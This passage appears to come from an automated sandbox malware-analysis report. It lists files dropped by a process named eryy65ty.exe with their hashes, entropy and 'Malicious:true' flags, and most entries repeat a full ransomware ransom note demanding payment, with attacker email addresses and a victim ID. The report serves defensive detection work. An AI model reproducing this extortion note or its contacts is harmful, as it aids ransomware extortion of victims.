                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.133616946629618
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:Ptzn+xY5Gxu7dlF4+6WjirXCMmvCK/MIFnF7p/kMkSn:1N5GxuhluIySM38Bp/kMHn
                                                                                                                                                                MD5:4438FD92F0A593F596B2D73753D476BE
                                                                                                                                                                SHA1:FBF6A1F505660B1B1E87514D0D107E63E37E547F
                                                                                                                                                                SHA-256:426313D301A2B80CFC25F98EE824BEF14112BD288D442AB155B55AD398257EED
                                                                                                                                                                SHA-512:12576776C2F37177DA0A87BE27368A67C917B46C4A74B03FF89523D8D1C8540A0549E37B7318B1C34546A16A0029D7C4EF3450251C9E51CE21A74682D9E74343
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.Z.....}...../...........2.......j.}.;.A.v.z.~..msV....Rjq4Y..qy.d.[.^.;.v.X..O..}..Y.U.k2 .,.../ _o.....xC.#.@,.C9.Y....,1-..D1..6...wY.{`bj.q.....q......mu......\../.L.M.p...!....ukN>..{.......C..J....-.E7.`..*..;'.<.v.=.e..A...:.../......u..S..b<@.CRA%....b..?<v@0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):290
                                                                                                                                                                Entropy (8bit):7.249951019294073
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:ez7TEriV4q9uWsQHef54LHp6AQBN4ZEQ/VZ0+7aeRipSQX6M6mFCgHQHn:WICuMefAHp6AQBgEQ/VZ0+7VRwKM6nHn
                                                                                                                                                                MD5:6699F2EC0A0A19AD89C648FC14F1BF67
                                                                                                                                                                SHA1:2390B8BE590A9F2C5F2520016993A672DA8B96BF
                                                                                                                                                                SHA-256:FEF00276EF1005EAC0855B07AB676D50128A7FF4EC8BF79991A5BABE7A39EA31
                                                                                                                                                                SHA-512:1C72932EBE3C3F5C303EC394BBC04830743646CE48A1B34656C19470FF183D63E1B30160BD5001B7C94751900C975BE32D2D64FD305A5C444D2CC16A5F4A0D49
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...dp.f.V....Mfu.X.k.......g$...|ja...u..G...Q..x.E.........:$.H.7.DO.2.N.`.E[@...j.<';.............[.2{.@.U.0i.........ho.a......E.K.....g..........v.UD.\d..Z.....|p.a...%.D...I,..;.-*..p.=S..K....=w.E......'s..h.6.0.}n>o.6...S......+ y..-1....1..B.._.9p.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):290
                                                                                                                                                                Entropy (8bit):7.249951019294073
                                                                                                                                                                Encrypted:false
